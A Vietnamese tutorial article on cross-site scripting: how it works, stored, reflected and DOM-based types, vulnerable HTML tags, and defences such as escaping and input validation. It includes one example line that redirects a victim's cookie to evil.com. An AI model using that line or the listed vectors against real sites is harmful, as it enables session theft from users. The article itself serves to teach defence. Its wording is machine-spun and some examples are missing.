Trong nhiều năm, lỗ hổng tràn bộ đệm là đích nhắm thú vị của những kẻ tấn công trực tuyến. Nhưng đến nay, cross-site scipting mới là thủ phạm thật to lớn gây nên những vụ phá hoại hệ thống.
Cross-site scripting (XSS) là một kiểu tấn công bảo mật trong đấy kẻ tấn công đưa các tập lệnh độc hại vào phần nội dung của các trang web đáng tin cậy khác. Tấn công Cross-site scripting diễn ra khi một nguồn không uy tín được phép đưa code của chính nó vào một phần mềm web và mã độc kia được kể cả trong nội dung gửi đến trình duyệt của nạn nhân.
XSS là một trong số lỗ hổng phần mềm web phổ biến nhất và diễn ra khi một phần mềm web sử dụng đầu vào từ người dùng không được xác thực hoặc chưa được mã hóa trong đầu ra mà nó tạo ra.
Bằng cách tận dụng XSS, kẻ tấn công không nhắm trực tiếp vào nạn nhân. Thay vào đó, kẻ tấn công sẽ khai thác lỗ hổng trong trang web hoặc phần mềm web mà nạn nhân sẽ truy cập.
Mặc dù XSS cũng đều có thể tận dụng lợi thế trong VBScript, ActiveX và Flash (hiện được xem là cũ hoặc cho dù lỗi thời), nhưng phổ biến nhất vẫn chính là JavaScript – chủ yếu vì JavaScript là nền tảng cho hầu hết các trải nghiệm duyệt web.
Tìm hiểu về Cross-Site Scripting
- Cách thức hoạt động của Cross-site Scripting
- Điều tệ nhất mà kẻ tiến công cũng đều có thể làm với JavaScript là gì?
- Cross-site scripting không phải là vấn đề của người dùng?
- Phân tích chi tiết một cuộc tiến công Cross-site scripting
- Một số thí dụ về vectơ tiến công Cross-site Scripting
- Các loại lỗ hổng XSS
- Phương pháp ngăn chặn Cross-site scripting
Cách thức hoạt động của Cross-site Scripting
Để chạy code JavaScript độc hại trong trình duyệt của nạn nhân, trước tiên, kẻ tiến công phải tìm cách truyền payload vào trang web mà nạn nhân truy cập. Tất nhiên, kẻ tiến công có thể sử dụng các kỹ thuật social engineering để thuyết phục người dùng truy cập trang đã bị tiến công đó.
Để một cuộc tấn công XSS diễn ra, trang web bị tấn công cần trực diện kể cả đầu vào của người dùng trong các trang của mình. Kẻ tấn công sau đó có thể chèn một chuỗi sẽ được sử dụng trong trang web và đã được giải quyết dưới dạng code bởi trình duyệt nạn nhân.
Mã giả phía máy server (server-side pseudo-code) này được sử dụng để hiển thị bình luận gần đây nhất trên trang web:
print " " print " Most recent comment
" print database.latestComment print " "
Tập lệnh sẽ in ra bình luận mới nhất từ cơ sở dữ liệu và in nội dung ra trang HTML, giả sử rằng bình luận được in ra chỉ cho dù là phần văn bản.
Trang trên dễ dẫn đến tiến công bởi XSS vì kẻ tiến công có thể gửi nhận xét có chứa payload độc hại, chẳng hạn như.
Người dùng truy cập trang web sẽ được hiển thị trang HTML sau.
Most recent comment
doSomethingEvil();
Khi trang load trong trình duyệt của nạn nhân, tập lệnh độc hại của kẻ tiến công sẽ thực thi, mà người đó không hề hay biết và cũng chẳng thể ngăn chặn cuộc tiến công này.
Lưu ý quan trọng – Lỗ hổng XSS chỉ cũng có thể có thể hiện diện nếu payload (tập lệnh độc hại) mà kẻ tiến công chèn được phân tích (thành HTML trong tình huống này) trong trình duyệt của nạn nhân.
Điều tệ nhất mà kẻ tấn công cũng có thể có thể làm với JavaScript là gì?
Hậu quả mà những gì kẻ tiến công có thể thực hiện với khả năng thực thi JavaScript trên trang web cũng đều có thể rất khó nhận thấy ngay, đặc biệt là khi các trình duyệt chạy JavaScript trong môi trường được khống chế rất chặt chẽ và JavaScript đã giới hạn quyền truy cập vào hệ điều hành và các file của người dùng.
Tuy nhiên, khi coi xét các phần JavaScript có quyền truy cập, những điều kẻ tiến công cũng có thể làm với JavaScript sẽ trở nên rõ rệt hơn:
- JavaScript độc hại có quyền truy cập vào mọi thứ các đối tượng giống nhau trong phần còn sót lại của trang web, cho dù là quyền truy cập vào cookie. Cookie thường được dùng để làm lưu giữ mã token phiên, nếu kẻ tiến công có thể lấy cookie phiên của người dùng, chúng cũng có thể có thể giả danh người đó.
- JavaScript có thể đọc và thực hiện các sửa đổi tùy ý đối với DOM của trình duyệt (trong trang mà JavaScript đang chạy).
- JavaScript có thể sử dụng XMLHttpRequest để gửi các đòi hỏi HTTP có nội dung tùy ý đến các đích khác nhau.
- JavaScript trong số trình duyệt tối tân có thể tận dụng các API HTML5 để truy cập địa thế địa lý, webcam, micro và sẽ cho dù các file cụ thể từ hệ thống file của người dùng. Mặc dù hầu hết các API này yêu cầu người dùng chấp nhận, nhưng XSS phối hợp với một số kỹ thuật social engineering thông minh có thể đem lại cho kẻ tấn công nhiều lợi thế.
XSS, phối phù hợp với social engineering, cho phép kẻ tấn công thực hành các cuộc tấn công nguy hiểm hơn, bao gồm lấy cắp cookie, keylogging, phishing và lấy cắp danh tính.
Cross-site scripting chẳng cần là vấn đề của người dùng?
Nếu kẻ tiến công cũng đều có thể lợi dụng lỗ hổng XSS trên trang web để thực thi JavaScript tùy ý trong trình duyệt của khách truy cập, thì bảo mật của trang web, phần mềm web đó, cũng giống người sử dụng của nó đã gặp nguy hiểm. XSS không phải là vấn đề của người dùng, như mọi lỗ hổng bảo mật khác. Nếu nó ảnh hưởng đến người dùng của một trang web, thì tức là nó sẽ ảnh hưởng đến chính trang web đó.
Phân tích chi tiết một cuộc tiến công Cross-site scripting
Một cuộc tiến công XSS cần ba “diễn viên” – trang web, nạn nhân và kẻ tấn công.
Trong ví dụ dưới đây, cũng có thể có thể giả định rằng mục đích của kẻ tấn công là mạo xưng nạn nhân bằng phương pháp ăn cắp cookie của người đó. Việc gửi cookie đến máy chủ của kẻ tấn công cũng đều có thể thực hành bằng nhiều cách khác nhau. Một trong những đó là để kẻ tấn công thực thi code JavaScript sau trong trình duyệt của nạn nhân thông qua lỗ hổng XSS.
window.location=“http://evil.com/?cookie=” + document.cookie
Hình dưới đây minh họa chỉ dẫn mỗi bước của 1 cuộc tấn công XSS đơn giản.
1. Kẻ tiến công truyền một payload vào cơ sở dữ liệu của trang web bằng cách gửi một biểu mẫu đi cùng một số JavaScript độc hại.
2. Nạn nhân gửi yêu cầu đến trang web.
3. Trang web hiện trên trình duyệt của nạn nhân với phần nào nội dung HTML chứa payload của kẻ tấn công.
4. Trình duyệt của nạn nhân sẽ thực thi tập lệnh độc hại bên trong HTML. Trong tình huống này, nó sẽ gửi cookie của nạn nhân đến máy server của kẻ tấn công. Kẻ tiến công lúc này chỉ cần trích xuất cookie của nạn nhân khi đòi hỏi HTTP chuyển đến máy chủ, sau đó kẻ tấn công có thể sử dụng cookie đánh cắp được để mạo danh nạn nhân.
Một số thí dụ về vectơ tiến công Cross-site Scripting
Sau đây là bản kê (không đầy đủ) các vectơ tấn công XSS mà kẻ tiến công cũng có thể sử dụng để xâm phạm bảo mật của trang web hoặc phần mềm web thông qua 1 cuộc tiến công XSS.
Thẻ
Thẻ
Payload XSS có thể được phân phối bên trong thẻ bằng phương pháp dùng tính chất onload hoặc các tính chất khác như thuộc tính background.
Thẻ
Một số trình duyệt sẽ thực thi JavaScript được tìm thấy trong.
Thẻ
Thẻ
Thẻ
Trong một số trình duyệt, nếu thuộc tính type của thẻ được đặt thành image, nó cũng đều có thể được thao tác để nhúng tập lệnh.
Thẻ
Thẻ, thường được dùng để làm liên kết đến các biểu định kiểu bên ngoài, có thể chứa tập lệnh.
Thẻ
Thuộc tính background của thẻ table và thẻ td cũng có thể có thể được khai thác để tham chiếu đến tập lệnh thay vì hình ảnh.
Thẻ
Thẻ
cũng cũng có thể chỉ định một background và do đấy được nhúng tập lệnh. |
Thẻ
Thẻ có thể được sử dụng để đưa một trang bên phía ngoài vào tập lệnh.
Các loại lỗ hổng XSS
Có ba loại lỗ hổng Cross-site scripting: Stored XSS, Reflected XSS và DOM-based XSS.
– Stored XSS là loại tấn công cross-site scripting gây thiệt hại nhiều nhất. Kẻ tấn công truyền một tập lệnh – còn được xem là payload – được lưu trữ vĩnh viễn trên phần mềm đích, chẳng hạn như cơ sở dữ liệu. Ví dụ, kẻ tiến công chèn một quãng mã độc trên blog, trong 1 bài đăng trên diễn đàn hoặc trong trường bình luận.
Lúc này Payload XSS sẽ đóng vai trò như một phần của trang web khi nạn nhân điều hướng đến trang web bị ảnh hưởng trong trình duyệt. Khi nạn nhân xem trang trên trình duyệt sẽ vô tình thực thi tập lệnh độc hại.
– Reflected XSS là loại lỗ hổng cross-site scripting phổ biến nhất. Trong kiểu tiến công này, kẻ tấn công phải chuyển payload cho nạn nhân. Do đó, tập lệnh payload của kẻ tấn công phải là phần nào của đòi hỏi được gửi đến máy chủ web và đã được phản chiếu lại để phản hồi HTTP, cho dù là payload từ yêu cầu HTTP.
Kẻ tiến công sử dụng email phishing và các phương pháp social engineering khác để dụ nạn nhân đem ra yêu cầu đến máy chủ có chứa payload XSS. Nạn nhân sau đó thực thi tập lệnh độc hại bên trong trình duyệt. Vì Reflected XSS chẳng cần là 1 cuộc tiến công liên tục, nên kẻ tấn công phải cung cấp payload cho mỗi nạn nhân.
– DOM-based cross-site scripting là loại tiến công XSS nâng cao, có thể thực hành được khi tập lệnh phía máy khách của ứng dụng web ghi dữ liệu do người dùng cung cấp vào Document Object Model (DOM).
Sau đó, ứng dụng web sẽ đọc dữ liệu từ DOM và gửi nó đến trình duyệt. Nếu dữ liệu chưa được giải quyết chính xác, kẻ tiến công có thể mang ra payload được lưu trữ như phần nào của DOM. Payload sau kia sẽ thực thi khi dữ liệu được đọc lại từ DOM.
Phương pháp chống lại Cross-site scripting
Sau đây là những phương pháp phổ biến nhất để chống lại Cross-site scripting:
- Escape đầu vào của người dùng là một cách để ngăn các lỗ hổng XSS xuất hiện trong các ứng dụng. Điều này còn có nghĩa là lấy dữ liệu mà ứng dụng đã thu được và đảm bảo an toàn trước khi hiển thị nó cho người dùng. Escape input từ người sử dụng sẽ khiến các ký tự quan trọng trong dữ liệu mà trang web nhận được không bị hiểu là mã thực thi. Nhờ đó ngăn trình duyệt diễn giải các ký tự được sử dụng để báo hiệu bắt đầu hoặc hoàn thành mã thực thi và dịch chúng thành “escaped”. Ví dụ, các ký tự như dấu ngoặc kép, dấu ngoặc đơn, dấu ngoặc vuông và một số dấu chấm câu khác đôi khi được sử dụng để làm nổi bật mã thực thi. Escape các ký tự này có tức là chuyển đổi chúng từ những ký tự đơn thành các chuỗi khi trình duyệt biên dịch.
- Sàng lọc đầu vào của người dùng là 1 cách khác để chống lại các cuộc tấn công Cross-site scripting, đặc biệt hữu ích trên các trang web cho phép HTML markup. Phương pháp chống lại này sẽ xóa sạch dữ liệu chứa các ký tự có khả năng thực thi, thay đổi đầu vào người dùng thành định dạng có thể chấp nhận và đáp ứng dữ liệu nhận được chẳng thể được hiểu là mã thực thi.
- Xác thực đầu vào đáp ứng việc ứng dụng hiển thị dữ liệu chuẩn xác và ngăn dữ liệu độc hại gây hư tổn cho trang web, cơ sở dữ liệu và người dùng. Xác thực đầu vào giúp ngăn XSS trong các biểu mẫu vì nó ngăn người dùng thêm các ký tự đặc biệt vào các trường nhập dữ liệu trang web bằng cách từ chối yêu cầu. Xác thực đầu vào giúp giảm khả năng gây ảnh hưởng tiêu cực, nếu kẻ tiến công phát hiện ra một lỗ hổng XSS ở đâu đó.
Xem thêm:
- Tổng hợp các kiểu tiến công mạng thông dụng hiện giờ
- Một số quy tắc bảo mật cơ bản cho website
- Làm gì khi phát giác ra hacker tiến công website?
Từ khóa bài viết: truongthinh.info, Cross-Site Scripting, các loại XSS, Cross-Site Scripting là gì, Cross-Site Scripting hoạt động như thế nào, các loại Cross-Site Scripting, biện pháp ngăn chặn Cross-Site Scripting, XSS, XSS là gì
Bài viết Kiến thức cơ bản về Cross-Site Scripting (XSS): lỗ hổng thú vị mới của hacker được tổng hợp và biên tập bởi: truongthinh.info. Mọi ý kiến đóng góp và phản hồi vui lòng gửi Liên Hệ cho truongthinh.info để điều chỉnh. truongthinh.info xin cảm ơn.